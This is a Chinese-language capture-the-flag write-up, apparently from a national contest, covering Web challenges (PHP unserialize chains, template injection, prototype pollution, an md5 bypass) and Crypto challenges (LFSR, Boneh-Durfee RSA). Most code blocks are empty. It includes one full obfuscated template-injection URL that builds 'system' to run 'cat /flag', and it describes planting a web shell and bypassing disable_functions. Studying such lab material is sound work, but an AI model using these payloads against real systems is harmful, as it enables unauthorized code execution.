这国赛五个 Web 加起来不到200分,真实。
Web
easyphp
需要通过 call_user_func_array 触发子进程崩溃,进到父进程里。
?a=stream_socket_server
(这是啥 Web 题…)
babyunserialize
看到 fatfree,想到了 WMCTF 那个webweb,diff一下发现把原来那个链子 insert 方法给注释了,再找个别的,找到了\DB\jig 下的mapper类:
改一下exp,可以RCE,system一下发现被ban了,想办法先写个shell,不过这个call_user_func_array用起来比较难受。
再看一下diff结果,发现 insert 方法竟然多了 write操作:
直接写 shell 就好了:
1 |
|
拿到shell,把 PHP7 那个绕过 disable_function 的脚本搞上去就好了。
RCEME
https://www.anquanke.com/post/id/212603#h2-9,最后一个 exp 直接打。
1 | http://eci-2ze2t1c804gx8zlnp248.cloudeci1.ichunqiu.com/?a={if:(implode(%27%27,%20[%27c%27,%27a%27,%27l%27,%27l%27,%27_%27,%27u%27,%27s%27,%27e%27,%27r%27,%27_%27,%27f%27,%27u%27,%27n%27,%27c%27])(implode(%27%27,[%27s%27,%27y%27,%27s%27,%27t%27,%27e%27,%27m%27]),%27cat%20/flag%27))}{end%20if} |
littlegame
搜一发这个set-value 原型链污染:https://snyk.io/vuln/SNYK-JS-SETVALUE-450213。
直接打:
easytrick
想办法绕过 md5,开始的思路是通过类,不过exception和error类 __toString 长度太长了,没法绕过。后来发现 INF 可以绕过,INF 变成字符串后是 “INF”,md5 时会转成字符串”INF”,所以相等。而 (string)INF != INF,可以绕过。
1 |
|
Crypto
lfsr
恢复 mask,100个方程,解方程即可。
Python 解方程脚本
1 | # -*- coding: utf-8 -*- |
也可以用sage解希尔密码的方法直接解(异或相加可以对应乘法相加模2):
1 | stream = open("output.txt", "r").read(200).strip() |
bd
d 较小,Boneh_Durfee 攻击。
https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage